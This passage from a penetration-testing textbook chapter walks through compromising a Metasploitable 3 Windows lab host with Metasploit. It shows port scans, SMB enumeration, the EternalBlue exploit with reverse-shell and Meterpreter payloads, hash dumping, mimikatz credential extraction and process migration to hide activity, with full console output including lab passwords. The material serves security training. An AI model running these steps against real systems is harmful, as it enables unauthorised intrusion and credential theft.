In this chapter, we are going to extend the content of the preceding chapter. You know the basics of interacting with Metasploit. But Metasploit is a deep resource, and, so far we’ve managed to just scratch the surface. In this chapter, we’re going to dig a little deeper. We’ll walk through an entire exploit from start to finish in the process. This includes doing scans of a network looking for targets, and then running an exploit to gain access. We’ll take another look at Meterpreter, the OS-agnostic interface that is built into some of the Metasploit payloads. We’ll see how the payloads work on the systems so you understand the process. We’ll also take a look at gaining additional privileges on a system so we can perform other tasks, including gathering credentials.
One last item that’s really important is pivoting. Once you have gained access to a system in an enterprise, especially a server, you will likely find that it is connected to other networks. These networks may not be accessible from the outside world, so we’ll need to take a look at how to gain access from the outside world by using our target system as a router and passing traffic through it to the other networks it has access to. This is how we start moving deeper into the network, finding other targets and opportunities for exploitation.
As you are moving deeper into the network and exploiting additional systems, you need to pay close attention to the scope of your engagement. Just because you can pivot into another network and find more targets doesn’t mean you should. Ethical considerations are essential here.
We took a look at using modules in the preceding chapter. While we certainly can use tools like nmap to get details about systems and services available on our target network, we can also use other modules that are in Metasploit. While a program like nmap has a lot of functionality and the scripts will provide a lot of details about our targets, many scanners are built into Metasploit. An advantage to using those is that we’re going to be in Metasploit in order to run exploits, so perhaps it’s just as easy to start in Metasploit to begin with. All the results found will be stored in the database, since they are being run from inside Metasploit.
For our purposes, we’re going to forego using nmap and concentrate on what’s in Metasploit, so we’re going to use the auxiliary port scan modules. You’ll find that Metasploit has a good collection of port scanners covering a range of needs. You can see the list in Example 6-1.
msf > search portscan MatchingModules
================
Disclosure Name Date Rank Description ---- ---------- ---- ----------- auxiliary/scanner/http/wordpress_pingback_access normal Wordpress Pingback Locator auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner auxiliary/scanner/portscan/tcp normal TCP Port Scanner auxiliary/scanner/portscan/xmas normal TCP"XMas"
Port Scanner auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
There is an instance of Metasploitable 3 on my network. This is a Windows server, as opposed to the Linux system we had targeted previously in Metasploitable 2. Because I know the IP address from a separate scan, I’m going to focus on getting the list of ports that are open on this system rather than scanning the entire network. To do this, I’ll use the TCP scan module, shown in Example 6-2. You’ll see from the output that after using the module, I set the RHOSTS parameter to just a single IP address. Because it’s expecting a range or a CIDR block, I have appended the /32 to indicate that we are looking at a single IP address. Leaving that off would have worked just as well, but including it perhaps clarifies that I meant a single host rather than just forgetting the end of the range of IP addresses.
msf > use auxiliary/scanner/portscan/tcp msf auxiliary(
scanner/portscan/tcp)
> show options Module options(
auxiliary/scanner/portscan/tcp)
: Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY10
yes The number of concurrent ports to check per host DELAY0
yes The delay between connections, per thread, in milliseconds JITTER0
yes The delay jitter factor(
maximum value by which to +/- DELAY)
in milliseconds. PORTS 1-10000 yes Ports to scan(
e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier THREADS1
yes The number of concurrent threads TIMEOUT1000
yes The socket connect timeout in milliseconds msf auxiliary(
scanner/portscan/tcp)
>set
RHOSTS 192.168.86.48/32RHOSTS
=
> 192.168.86.48/32 msf auxiliary(
scanner/portscan/tcp)
>set
THREADS 10THREADS
=
> 10 msf auxiliary(
scanner/portscan/tcp)
>set
CONCURRENCY 20CONCURRENCY
=
> 20 msf auxiliary(
scanner/portscan/tcp)
> run[
+]
192.168.86.48: - 192.168.86.48:22 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:135 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:139 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:445 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:1617 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:3000 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:3306 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:3389 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:3700 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:4848 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:5985 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:7676 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8009 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8019 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8020 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8022 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8032 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8027 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8031 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8028 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8080 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8181 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8282 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8383 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8444 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8443 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8484 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8585 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:8686 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:9200 - TCP OPEN[
+]
192.168.86.48: - 192.168.86.48:9300 - TCP OPEN[
*]
Scanned1
of1
hosts(
100%complete
)
[
*]
Auxiliary module execution completed
You’ll notice that I made some changes to the parameters that would make the module go faster. I increased the threads and the concurrency setting. Since this is my network, I feel comfortable increasing the amount of traffic going to my target host. If you are less confident about causing issues with either traffic generation or alerts through a firewall or intrusion detection system, you may consider leaving your threads at 1 and maybe reducing your concurrency from the 10, which is the default.
One disadvantage to using this module is that we don’t get the application that is running on the ports. The well-known ports are easy enough. I know what’s likely running on ports like 22, 135, 139, 445, 3306, and others. There are many in the 8000 range, though, that may not as readily identifiable. Since there are so many of them, it seems reasonable to get those holes filled in. The easiest way to do this, rather than running through several specific service scan modules, is to use a version scan from nmap. This will populate the services database for us. You can see a search of the services that belong to this particular host in Example 6-3.
msf auxiliary(
auxiliary/scanner/portscan/tcp)
> services -S 192.168.86.48Services
========
host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.86.4822
tcp ssh open OpenSSH 7.1 protocol 2.0 192.168.86.48135
tcp msrpc open Microsoft Windows RPC 192.168.86.48139
tcp netbios-ssn open Microsoft Windows netbios-ssn 192.168.86.48445
tcp microsoft-ds open Microsoft Windows Server 2008 R2 -2012
microsoft-ds 192.168.86.481617
tcp open 192.168.86.483000
tcp http open WEBrick httpd 1.3.1 Ruby 2.3.3(
2016-11-21)
192.168.86.483306
tcp mysql open MySQL 5.5.20-log 192.168.86.483389
tcp ms-wbt-server open 192.168.86.483700
tcp open 192.168.86.483820
tcp open 192.168.86.483920
tcp ssl/exasoftport1 open 192.168.86.484848
tcp ssl/http open Oracle Glassfish Application Server 192.168.86.485985
tcp open 192.168.86.487676
tcp java-message-service open Java Message Service 301 192.168.86.488009
tcp ajp13 open Apache Jserv Protocol v1.3 192.168.86.488019
tcp open 192.168.86.488020
tcp open 192.168.86.488022
tcp http open Apache Tomcat/Coyote JSP engine 1.1 192.168.86.488027
tcp open 192.168.86.488028
tcp open 192.168.86.488031
tcp ssl/unknown open 192.168.86.488032
tcp open 192.168.86.488080
tcp http open Sun GlassFish Open Source Edition 4.0 192.168.86.488181
tcp ssl/http open Oracle GlassFish 4.0 Servlet 3.1;
JSP 2.3;
Java 1.8 192.168.86.488282
tcp open 192.168.86.488383
tcp ssl/http open Apache httpd 192.168.86.488443
tcp ssl/https-alt open 192.168.86.488444
tcp open 192.168.86.488484
tcp open 192.168.86.488585
tcp open 192.168.86.488686
tcp open 192.168.86.489200
tcp http open Elasticsearch REST API 1.1.1 name: Super Rabbit;
Lucene 4.7 192.168.86.489300
tcp open 192.168.86.4849152
tcp msrpc open Microsoft Windows RPC 192.168.86.4849153
tcp msrpc open Microsoft Windows RPC 192.168.86.4849154
tcp msrpc open Microsoft Windows RPC 192.168.86.4849155
tcp msrpc open Microsoft Windows RPC
Based on this, we can go in numerous directions. It’s worth doing some service scanning, though, to see if we can get some additional details.
The Server Message Block (SMB) protocol has been used by Microsoft Windows as a way to share information and manage systems remotely for many versions. Using this protocol, we can gather a lot of details about our target. For starters, we can get the operating system version as well as the name of the server. Metasploit modules can be used to extract details from the target. While many of them require authentication, some can be used without needing any login credentials. The first one we will look at, as you can see in Example 6-4, is the smb_version module. This provides specifics about our target system.
msf auxiliary(
scanner/smb/smb2)
> use auxiliary/scanner/smb/smb_version msf auxiliary(
scanner/smb/smb_version)
>set
RHOSTS 192.168.86.48RHOSTS
=
> 192.168.86.48 msf auxiliary(
scanner/smb/smb_version)
> run[
+]
192.168.86.48:445 - Host is running Windows2008
R2 Standard SP1(
build:7601)
(
name:VAGRANT-2008R2)
(
workgroup:WORKGROUP)
[
*]
Scanned1
of1
hosts(
100%complete
)
[
*]
Auxiliary module execution completed
Some systems will allow you to gather a list of shares directories that have been advertised on the network as being available to read or write to remotely without providing credentials. If a system administrator is doing the right things, this wouldn’t be possible. However, in the name of expedience, sometimes the wrong things are done. As a result, it’s worth trying to enumerate the shares on remote systems. Example 6-5 shows the use of smb_enumshares to acquire the shares that are exposed to the outside world.
msf auxiliary(
scanner/smb/smb_enumusers_domain)
> use auxiliary/scanner/smb/ smb_enumshares msf auxiliary(
scanner/smb/smb_enumshares)
> show options Module options(
auxiliary/scanner/smb/smb_enumshares)
: Name Current Setting Required Description ---- --------------- -------- ----------- LogSpider3
no0
=
disabled,1
=
CSV,2
=
table(
txt)
,3
=
one liner(
txt)
(
Accepted: 0, 1, 2, 3)
MaxDepth999
yes Max number of subdirectories to spider RHOSTS yes The target address range or CIDR identifier SMBDomain . no The Windows domain to usefor
authentication SMBPass no The passwordfor
the specified username SMBUser no The username to authenticate as ShowFilesfalse
yes Show detailed information when spidering SpiderProfilestrue
no Spider only user profiles whenshare
=
C$
SpiderSharesfalse
no Spider shares recursively THREADS1
yes The number of concurrent threads msf auxiliary(
scanner/smb/smb_enumshares)
>set
RHOSTS 192.168.86.48RHOSTS
=
> 192.168.86.48 msf auxiliary(
scanner/smb/smb_enumshares)
> run[
-]
192.168.86.48:139 - Login Failed: The SMB server did not reply to our request[
*]
192.168.86.48:445 - Windows2008
R2 Service Pack1
(
Unknown)
[
*]
192.168.86.48:445 - No shares collected[
*]
Scanned1
of1
hosts(
100%complete
)
[
*]
Auxiliary module execution completed
Based on running this module, it appears credentials are necessary to gather much in the way of information from our target. This is not unexpected, of course, but it is worth trying to run the scan nonetheless.
SMB is a good target to investigate further, simply because of how commonly it’s used. Even without credentials, we can perform vulnerability scans from inside Metasploit. Over the years, vulnerabilities have been exposed in Windows related to SMB and the Common Internet File System (CIFS). Some of those vulnerabilities have exploits available in Metasploit, but before going through the process of running the exploit, you can check whether the system may be vulnerable to the known issue. The SMB vulnerabilities are not the only ones that have checks available, but since we are working with a Windows system and have been looking at the SMB systems, we may as well check for vulnerabilities. In Example 6-6, we’ll take a look to see if our Metasploitable 3 system is vulnerable to MS17-010, also known as EternalBlue.
EternalBlue is one of the exploits that was developed by the National Security Agency (NSA), later leaked by the Shadow Brokers group. It was used as part of the WannaCry ransomware attack.
We’re going to load another auxiliary module that will check for the vulnerability for us.
msf auxiliary(
scanner/smb/smb_enumshares)
> use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(
scanner/smb/smb_ms17_010)
> show options Module options(
auxiliary/scanner/smb/smb_ms17_010)
: Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCHtrue
yes Checkfor
architecture on vulnerable hosts CHECK_DOPUtrue
yes Checkfor
DOUBLEPULSAR on vulnerable hosts RHOSTS yes The target address range or CIDR identifier RPORT445
yes The SMB service port(
TCP)
SMBDomain . no The Windows domain to usefor
authentication SMBPass no The passwordfor
the specified username SMBUser no The username to authenticate as THREADS1
yes The number of concurrent threads msf auxiliary(
scanner/smb/smb_ms17_010)
>set
RHOSTS 192.168.86.48RHOSTS
=
> 192.168.86.48 msf auxiliary(
scanner/smb/smb_ms17_010)
>set
THREADS 10THREADS
=
> 10 msf auxiliary(
scanner/smb/smb_ms17_010)
> run[
+]
192.168.86.48:445 - Host is likely VULNERABLE to MS17-010! - Windows Server2008
R2 Standard7601
Service Pack1
x64(
64-bit)
[
*]
Scanned1
of1
hosts(
100%complete
)
[
*]
Auxiliary module execution completed
Once we have identified that the vulnerability exists, either through a vulnerability scanner like OpenVAS or by testing via modules in Metasploit, we can move on to exploitation. Don’t expect, though, that running through a vulnerability scanner will give you all the vulnerabilities on a system. This is where performing port scans and other reconnaissance is important. Getting a list of services and applications will give us additional clues for exploits to look for. Using the search function in Metasploit will give us modules to use based on services that are open and the applications that are listening on the open ports.
We will take advantage of the EternalBlue vulnerability to get into our target system. We’re going to run this exploit twice. The first time, we’ll use the default payload. The second time through, we’ll change the payload to get a different interface. The first time, we load up the exploit, as shown in Example 6-7. No options need to be changed, although a fair number could be changed. You will see that the only option I set before running the exploit is the remote host. You will also see the exploit runs perfectly, and we get remote access to the system.
msf exploit(
windows/smb/ms17_010_eternalblue)
> use exploit/windows/smb/ ms17_010_eternalblue msf exploit(
windows/smb/ms17_010_eternalblue)
>set
RHOST 192.168.86.48RHOST
=
> 192.168.86.48 msf exploit(
windows/smb/ms17_010_eternalblue)
> exploit[
*]
Started reverse TCP handler on 192.168.86.21:4444[
*]
192.168.86.48:445 - Connecting to targetfor
exploitation.[
+]
192.168.86.48:445 - Connection establishedfor
exploitation.[
+]
192.168.86.48:445 - Target OS selected validfor
OS indicated by SMB reply[
*]
192.168.86.48:445 - CORE raw buffer dump(
51
bytes)
[
*]
192.168.86.48:445 - 0x0000000057
69
6e64
6f77
73
20
53
65
72
76
65
72
20
32 Windows Server 2[
*]
192.168.86.48:445 - 0x0000001030
30
38
20
52
32
20
53
74
61
6e64
61
72
64
20008
R2 Standard[
*]
192.168.86.48:445 - 0x0000002037
36
30
31
20
53
65
72
76
69
63
65
20
50
61
637601
Service Pac[
*]
192.168.86.48:445 - 0x00000030 6b20
31
k 1[
+]
192.168.86.48:445 - Target arch selected validfor
arch indicated by DCE/RPC reply[
*]
192.168.86.48:445 - Trying exploit with12
Groom Allocations.[
*]
192.168.86.48:445 - Sending all but last fragment of exploit packet[
*]
192.168.86.48:445 - Starting non-paged pool grooming[
+]
192.168.86.48:445 - Sending SMBv2 buffers[
+]
192.168.86.48:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.[
*]
192.168.86.48:445 - Sending final SMBv2 buffers.[
*]
192.168.86.48:445 - Sending last fragment of exploit packet![
*]
192.168.86.48:445 - Receiving response from exploit packet[
+]
192.168.86.48:445 - ETERNALBLUE overwrite completed successfully(
0xC000000D)
![
*]
192.168.86.48:445 - Sending egg to corrupted connection.[
*]
192.168.86.48:445 - Triggering free of corrupted buffer.[
*]
Command shell session1
opened(
192.168.86.21:4444 -> 192.168.86.48:49273)
at 2018-01-29 18:07:32 -0700[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-WIN-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
Microsoft Windows[
Version 6.1.7601]
Copyright(
c)
2009
Microsoft Corporation. All rights reserved. C:W
indowss
ystem32>
What you will notice from here is that we get a command prompt, just as if you were to run cmd.exe on a Windows system. You will be able to run any command in this session that you would be able to run there. This may be limited, though you can launch PowerShell from this command interface. This will give you access to cmdlets that can be used to manage the system and gather information from it.
In addition to running PowerShell, you can switch out the payload so you are using Meterpreter instead. This gives us a set of functions that have nothing to do with the operating system and any capabilities or limitations of the shell or command interpreter we are presented. In Example 6-8, I’m still using the EternalBlue exploit but I’ve changed out the payload. This will return a Meterpreter shell instead of the command interpreter.
msf exploit(
windows/smb/ms17_010_eternalblue)
>set
PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD
=
> windows/x64/meterpreter/reverse_tcp msf exploit(
windows/smb/ms17_010_eternalblue)
> exploit[
*]
Started reverse TCP handler on 192.168.86.21:4444[
*]
192.168.86.48:445 - Connecting to targetfor
exploitation.[
+]
192.168.86.48:445 - Connection establishedfor
exploitation.[
+]
192.168.86.48:445 - Target OS selected validfor
OS indicated by SMB reply[
*]
192.168.86.48:445 - CORE raw buffer dump(
51
bytes)
[
*]
192.168.86.48:445 - 0x0000000057
69
6e64
6f77
73
20
53
65
72
76
65
72
20
32 Windows Server 2[
*]
192.168.86.48:445 - 0x0000001030
30
38
20
52
32
20
53
74
61
6e64
61
72
64
20008
R2 Standard[
*]
192.168.86.48:445 - 0x0000002037
36
30
31
20
53
65
72
76
69
63
65
20
50
61
637601
Service Pac[
*]
192.168.86.48:445 - 0x00000030 6b20
31
k 1[
+]
192.168.86.48:445 - Target arch selected validfor
arch indicated by DCE/RPC reply[
*]
192.168.86.48:445 - Trying exploit with12
Groom Allocations.[
*]
192.168.86.48:445 - Sending all but last fragment of exploit packet[
*]
192.168.86.48:445 - Starting non-paged pool grooming[
+]
192.168.86.48:445 - Sending SMBv2 buffers[
+]
192.168.86.48:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.[
*]
192.168.86.48:445 - Sending final SMBv2 buffers.[
*]
192.168.86.48:445 - Sending last fragment of exploit packet![
*]
192.168.86.48:445 - Receiving response from exploit packet[
+]
192.168.86.48:445 - ETERNALBLUE overwrite completed successfully(
0xC000000D)
![
*]
192.168.86.48:445 - Sending egg to corrupted connection.[
*]
192.168.86.48:445 - Triggering free of corrupted buffer.[
*]
Sending stage(
205891
bytes)
to 192.168.86.48[
*]
Meterpreter session2
opened(
192.168.86.21:4444 -> 192.168.86.48:49290)
at 2018-01-29 18:16:59 -0700[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-WIN-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
[
+]
192.168.86.48:445 -=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
-=
meterpreter >
You’ll see that the exploit runs exactly the same as it did before. The only difference between these two exploit runs is the payload, which doesn’t impact the exploit at all. It only presents us with a different interface to the system. Meterpreter is a great interface that will give you quick and easy access to functions you wouldn’t get from just the command interpreter.
Once we have our Meterpreter shell, we can start using it to gather information. We can download files. We can upload files. We can get file and process listings. I’ve mentioned before that Meterpreter is operating system agnostic. This means that the same set of commands will work no matter what operating system has been compromised. It also means that when you are looking at processes or file listings, you don’t need to know the specifics about the operating system or the operating system commands. Instead, you just need to know the Meterpreter commands.
Keep in mind that not all exploits will use the Meterpreter payload. More than that, not all exploits will be capable of using a Meterpreter payload. Everything in this section is relevant only when you are able to use a Meterpreter-based payload.
While exploiting and gaining access to systems is definitely a start, it’s not the end goal, or at least it isn’t commonly the end goal. After all, when you are performing security testing, you may be asked to see how far you can go, just as an attacker would. Meterpreter provides easy access to functions that will allow us to get deeper into the network by using a technique called pivoting. Pivoting can be accomplished with a post-exploitation module. Post-exploitation modules can also be used to gather a lot of details about the system and users.
One thing to note about the post-exploitation modules is that they are operating system specific. This is different from the Meterpreter commands themselves. Instead, the post-exploitation modules are Ruby scripts, just as the exploit and auxiliary scripts are. They get loaded and executed through the connection between your Kali system and the target system. A Windows system has gather, manage, and capture modules. Linux and macOS have only gather modules.
Meterpreter provides functions to get around the system, list files, get process information, and manipulate files. In most cases, you will find that the commands follow those for Unix. The commands will work on Windows, but the name of the command is the same as one used on Unix-like operating systems. As an example, in order to get a listing of files, you use ls. On a Windows system, the command is dir, but when you use ls from Meterpreter, you will get a file listing. Similarly, if you want to get a list of processes, you use ps.
One nice feature of Meterpreter is it doesn’t require you to look up any references related to functions it offers. Instead, all you have to do is ask. A help command will provide you with a list of all the commands available and will provide details about the commands. In addition, Meterpreter will also look for data for you. The search command will look for files on the system you have compromised. This feature will save you from manually looking through the filesystem for what you need. Your search can include wildcards. As a result, you can use the search string *.docx to locate files created from more recent versions of Microsoft Word.
If you need additional files to be sent to your targeted host in order to continue your exploitation, you can use upload in Meterpreter. It will upload the file on your Kali system to the target system. If you are uploading an executable file, you can run it from Meterpreter by using execute. To retrieve files from the target system, you use download. If you are referring to a file path on a Windows system, you need to use double slashes because a single backslash is commonly an escape character. As an example, if I want to get access to a Word document in C: emp, I will use download C:\temp\file.docx to make sure the file path was interpreted correctly.
When it comes to Windows systems, certain details can be useful, including the version of Windows, the name of the system, and the workgroup the system belongs to. To get that information, you can use the sysinfo command. This will also tell you the CPU architecture—whether it’s 32-bit or 64-bit.
After exploiting a system, assuming you have run an exploit and not just gotten in through stolen, acquired, or guessed passwords, you may want to start gathering credentials. This includes gathering usernames and password hashes. Keep in mind that passwords are not stored in plain text. Instead, they are hashed, and the hash value is stored. Authentication modules on the operating system will understand how to hash any passwords provided with login attempts in the same way as the passwords are stored. The hashes can then be compared to see whether they match. If they match, the assumption is the password has been provided.
The assumption of the matching password hashes is based on the idea that no two pieces of data will ever generate the same hash value. If two pieces of data do generate the same hash value, called a collision, elements of information security start to be exposed to compromise. The problem of collisions is considered through a mathematical/statistical problem called the Birthday Paradox.
One function of Meterpreter is hashdump. This function provides a list of the users and password hashes from the system. In the case of Linux, these details are stored in the /etc/shadow file. In the case of Windows, the details are stored in the Security Account Manager (SAM), an element of the Windows Registry. In either operating system, you will get the username, user ID, and the password hash just for a start. Example 6-9 shows running hashdump against the Metasploitable 3 system after it had been compromised with the EternalBlue exploit. You will see the username in the first field, followed by the user ID, and then the password hash. To get the password back from the hash, you need to run a password cracker. Hashes are one-way functions, meaning the hash can’t be reversed to regenerate the data that created the hash. Instead, you can generate hashes from potential passwords and compare the resulting hash with what you know. When you get a match, you will have the password, or at least a password that will work to get you access as that user.
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b5 0b::: anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94 fa::: artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4::: ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859::: boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9::: chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8::: c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
Getting password hashes is not the only thing we can do with Meterpreter when it comes to users. You may need to figure out who you are after you have compromised a system. Knowing who you are will tell you what permissions you have. It will also tell you whether you need to escalate your privileges to get administrative rights to be able to do more interesting things, which may include maintaining access to the system post-exploitation. To get the ID of the user you are, you use getuid. This tells you the user that Meterpreter is running as on your target host.
Another technique that can be used to gather credentials is the post-exploitation module check_credentials. This not only acquires password hashes but also acquires tokens on the system. A token on a Windows system is an object that contains information about the account associated with a process or thread. These tokens could be used to impersonate another user because the token could be used as a way of gaining access with the permissions of the user whose token has been grabbed. Example 6-10 shows the run of check_credentials with a portion of the password hashes and the tokens that were pulled.
meterpreter > run post/windows/gather/credentials/credential_collector[
*]
Running module against VAGRANT-2008R2[
+]
Collecting hashes... Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c 245d35b50b Extracted: anakin_skywalker:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e5 5cde2f3de94fa Extracted: artoo_detoo:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea6 3b7577b4 Extracted: leia_organa:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f 21f14028 Extracted: luke_skywalker:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0 e9bac82005a Extracted: sshd:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: sshd_server:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d0 0ec27035 Extracted: vagrant:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35 b50b[
+]
Collecting tokens... NT AUTHORITYL
OCAL SERVICE NT AUTHORITYN
ETWORK SERVICE NT AUTHORITYS
YSTEM VAGRANT-2008R2s
shd_server NT AUTHORITYA
NONYMOUS LOGON meterpreter >
Some of the tokens that were extracted are common ones used for services that are running on a Windows system. The Local Service account is one that is used by the service control manager, and it has a high level of permissions on the local system. It would have no privileges within the context of a Windows domain, so you couldn’t use it across multiple systems. However, if you compromise a system running with this account, you will essentially have administrative permissions.
A post-exploitation module available to run in Meterpreter is mimikatz. The mimikatz module includes functions related to acquiring passwords. While you can get the majority of these in other ways, mimikatz provides another mechanism to get credentials. It’s also a one-stop shop for ways to get credentials from different sources, including the SAM, as well as from memory. Before we do anything, we need to load mimikatz. Once the mimikatz module is loaded, we use the mimikatz_command to run the different functions. Example 6-11 shows the use of mimikatz_command to search for passwords.
meterpreter > load mimikatz Loading extension mimikatz...Success. meterpreter > mimikatz_command -f sekurlsa::searchPasswords[
0]
{
sshd_server;
VAGRANT-2008R2;
D@rj33l1ng}
[
1]
{
Administrator;
VAGRANT-2008R2;
vagrant}
[
2]
{
VAGRANT-2008R2;
sshd_server;
D@rj33l1ng}
[
3]
{
Administrator;
VAGRANT-2008R2;
vagrant}
[
4]
{
VAGRANT-2008R2;
Administrator;
vagrant}
[
5]
{
sshd_server;
VAGRANT-2008R2;
D@rj33l1ng}
The output shows passwords associated with users on the system. Beyond searching for passwords, we can use msv to get password hashes. Since Windows uses Kerberos to do system-to-system authentication, it’s useful to be able to extract Kerberos authentication after we have compromised a system. Getting Kerberos information may allow us to migrate from our current compromised system to another system on the network. The mimikatz module will pull the Kerberos information by running kerberos. Neither msv nor kerberos requires you to run mimikatz_command. You need to load mimikatz and then run those functions directly. Similarly, you don’t need to use mimikatz_command to use ssp and livessp. This will pull information from the security service provider under Windows.
The mimikatz module is written by someone who is French. As a result, all of the help that you can get from the module is also written in French. The commands you use to make mimikatz work are in English, but if you need additional details such as the parameters, you need to either be able to read French or find a way to translate them reliably.
You will want to do a few things with processes. One of the first things is to migrate your connection from the process you compromised. This will help you to cover your tracks by getting connected to a less obvious process. As an example, you may migrate to an Explorer.EXE process or, as in the case of Example 6-12, the notepad.exe process. To do this process migration, we need to load another post-exploitation module. This one is post/windows/manage/migrate. It will automatically determine another process to migrate to and, as in this case, launch a process if necessary.
meterpreter > run post/windows/manage/migrate[
*]
Running module against VAGRANT-2008R2[
*]
Current server process: spoolsv.exe(
984)
[
*]
Spawning notepad.exe process to migrate to[
+]
Migrating to 6092[
*]
New server process: notepad.exe(
6092)
meterpreter >
We can also look at dumping processes and recovering them. This will provide us with anything that may be in memory while the application is running and allow us to extract passwords or other sensitive information. To do this, we’re going to upload the ProcDump utility from Microsoft’s SysInternals team. We will get a dump file from a running process that will capture not only the code of the program but also the data from the running program. Before we can get the dump file, though, I have procdump64.exe staged on my Kali instance so I can upload it. In Example 6-13, you can see I upload the program I need, which will put it up to the compromised Windows system for use later. This required that I use the Meterpreter payload, so I had the upload capability. Without it, I would have to resort to relying on other file transfer methods.
meterpreter > upload procdump64.exe[
*]
uploading : procdump64.exe -> procdump64.exe[
*]
uploaded : procdump64.exe -> procdump64.exe meterpreter > load mimikatz Loading extension mimikatz...Success. meterpreter > mimikatz_command -f handle::list212
smss.exe -> 80 Process 288 csrss.exe212
smss.exe -> 84 Process 456 lsm.exe212
smss.exe -> 88 Process 348 csrss.exe288
csrss.exe -> 80 Process 340 wininit.exe288
csrss.exe -> 180 Process 432 services.exe288
csrss.exe -> 208 Process 448 lsass.exe288
csrss.exe -> 224 Process 456 lsm.exe288
csrss.exe -> 336 Process 568 svchost.exe288
csrss.exe -> 364 Process 332 spoolsv.exe288
csrss.exe -> 404 Process 644 svchost.exe288
csrss.exe -> 444 Process 696 svchost.exe288
csrss.exe -> 516 Process 808 svchost.exe288
csrss.exe -> 564 Process 868 svchost.exe288
csrss.exe -> 588 Process 912 svchost.exe
You’ll see that after the program was uploaded, I loaded mimikatz again. While there are other ways to achieve what I need, I wanted to demonstrate this. The reason is we are getting a list of all the process handles. A handle is a reference to an object. Programs will create and open handles to have a way to get to another object. This may include accessing external resources. You can see the PID in the leftmost column, followed by the name of the executable that the process was created from. After this is the handle and the object the handle references. These are all process handles, so csrss.exe, for example, has several references to other processes. This may mean that csrss.exe started up (spawned) those other processes and is keeping references in order to kill them later if necessary.
